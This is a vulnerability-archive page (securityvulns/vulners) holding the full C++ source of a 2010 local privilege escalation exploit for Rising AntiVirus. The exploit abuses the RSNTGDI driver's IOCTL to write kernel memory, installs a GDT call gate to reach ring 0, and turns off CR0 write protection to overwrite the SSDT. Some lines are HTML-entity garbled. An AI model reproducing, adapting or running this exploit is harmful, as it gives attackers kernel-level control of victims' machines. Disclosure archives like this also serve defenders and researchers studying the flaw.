Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:23135
HistoryJan 28, 2010 - 12:00 a.m.

Rising AntiVirus 2008/2009/2010 Local Privilege Escalation Exploit

2010-01-2800:00:00
vulners.com
12

// Rising0day.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "windows.h"
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ;
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ;
ULONG btr ;
ULONG ColorBuffer = 0 ;

DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
&ColorBuffer ,
sizeof(ULONG),
&btr ,
0
);
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
Address ,
sizeof(ULONG),
&btr ,
0
);
return ;
}
void AddCallGate()
{
ULONG Gdt_Addr;
ULONG CallGateData[0x4];
ULONG Icount;
__asm
{
push edx
sgdt [esp-2]
pop edx
mov Gdt_Addr , edx
}
__asm
{

push 0xc3
push Gdt_Addr
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]

push edi
mov edi,Gdt_Addr
add edi,0x3e0
add edi,eax
push edi
mov Icount,eax
call WriteKVM
mov eax,Icount
add eax , 0x4
cmp eax,0x10
jnz LoopWrite
}

return ;
}

void IntoR0(PVOID function)
{
WORD Callgt[3];
Callgt[0] = 0;
Callgt[1] = 0;
Callgt[2] = 0x3e3;
__asm
{
call fword ptr[Callgt]
mov eax,esp
mov esp,[esp+4]
push eax
call function
pop esp
push offset ring3Ret
retf
ring3Ret:
nop
}
return ;

}
#pragma pack(1)
typedef struct _IDTR
{
SHORT IDTLimit;
UINT IDTBase;
}IDTR,
*PIDTR,
**PPIDTR;
#pragma pack()
ULONG g_RealSSDT = 0 ;
ULONG ServiceNum = 0 ;
ULONG OrgService [0x1000] ;
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
{
ULONG Offset = Rva, Limit;
IMAGE_SECTION_HEADER *Img;
WORD i;

Img = IMAGE_FIRST_SECTION(NT);

if (Rva < Img->PointerToRawData)
return Rva;

for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (Img[i].SizeOfRawData)
Limit = Img[i].SizeOfRawData;
else
Limit = Img[i].Misc.VirtualSize;

if (Rva >= Img[i].VirtualAddress &&
Rva < (Img[i].VirtualAddress + Limit))
{
if (Img[i].PointerToRawData != 0)
{
Offset -= Img[i].VirtualAddress;
Offset += Img[i].PointerToRawData;
}

return Offset;
}
}

return 0;
}
#define ibaseDD *(PDWORD)&ibase
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh,
PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE))
return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;

DWORD    dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL    bFirstChunk;

GetHeaders&#40;&#40;PCHAR&#41;hModule,&amp;pfh,&amp;poh,&amp;psh&#41;;

if &#40;&#40;poh-&gt;DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress&#41; &amp;&amp;
    &#40;!&#40;&#40;pfh-&gt;Characteristics&#41;&amp;IMAGE_FILE_RELOCS_STRIPPED&#41;&#41;&#41; {

pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;

        pfe=&#40;PIMAGE_FIXUP_ENTRY&#41;&#40;&#40;DWORD&#41;pbr+sizeof&#40;IMAGE_BASE_RELOCATION&#41;&#41;;

        for &#40;i=0;i&lt;&#40;pbr-&gt;SizeOfBlock-sizeof&#40;IMAGE_BASE_RELOCATION&#41;&#41;&gt;&gt;1;i++,pfe++&#41; {
            if &#40;pfe-&gt;type==IMAGE_REL_BASED_HIGHLOW&#41; {
                dwFixups++;
                dwPointerRva=pbr-&gt;VirtualAddress+pfe-&gt;offset;
                dwPointsToRva=*&#40;PDWORD&#41;&#40;&#40;DWORD&#41;hModule+dwPointerRva&#41;-&#40;DWORD&#41;poh-&gt;ImageBase;
 
                if &#40;dwPointsToRva==dwKSDT&#41; 
 {
                    if &#40;*&#40;PWORD&#41;&#40;&#40;DWORD&#41;hModule+dwPointerRva-2&#41;==0x05c7&#41; 
  {
                        dwKiServiceTable=*&#40;PDWORD&#41;&#40;&#40;DWORD&#41;hModule+dwPointerRva+4&#41;-poh-&gt;ImageBase;
   *ImageBase = poh-&gt;ImageBase;
                        return dwKiServiceTable;
                    }
                }
                
            }
        }
        *&#40;PDWORD&#41;&amp;pbr+=pbr-&gt;SizeOfBlock;
    }
}    

return 0;

}
DWORD CR0Reg ;
ULONG realssdt ;
void InKerneProc()
{
__asm
{
cli
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF
mov cr0, eax
}
int i;
for (i = 0; i < (int)ServiceNum; i++)
{
(ULONG)((ULONG)realssdt + i * sizeof(ULONG)) = OrgService[i];
}
__asm
{
mov eax, CR0Reg
mov cr0, eax
sti
}

}
int main(int argc, char* argv[])
{
printf("Rising AntiVirus 2008 ~ 2010 \n"
"Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n");

 g_RsGdiHandle = CreateFile&#40;&quot;&#92;&#92;&#92;&#92;.&#92;&#92;RSNTGDI&quot; , 

0,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
0,
OPEN_EXISTING , 0 , 0 );
if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
{
return 0 ;
}

SYSTEM_MODULE_INFORMATION ModuleInfo ;

// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address

HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");
ULONG infosize = sizeof(ModuleInfo);

__asm
{
push 0
push infosize
lea eax , ModuleInfo
push eax
push 11
call pNtQuerySystemInformation
}

HMODULE KernelHandle ;
LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);

// Load the kernel image specified

KernelHandle = LoadLibrary(ntosname);
if (KernelHandle == 0 )
{
return 0 ;
}

ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");

if (KeSSDT == 0 )
{
return 0 ;
}
ULONG ImageBase = 0 ;
ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);
if (KiSSDT == 0 )
{
return 0 ;
}
KiSSDT += (ULONG)KernelHandle;
ServiceNum = 0x11c ;
ULONG i ;

for (i = 0 ; i < ServiceNum ; i ++)
{
OrgService[i] = (ULONG)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;
}

realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;

SetThreadAffinityMask(GetCurrentThread () , 0 ) ;

AddCallGate();
IntoR0(InKerneProc);
return 0;
}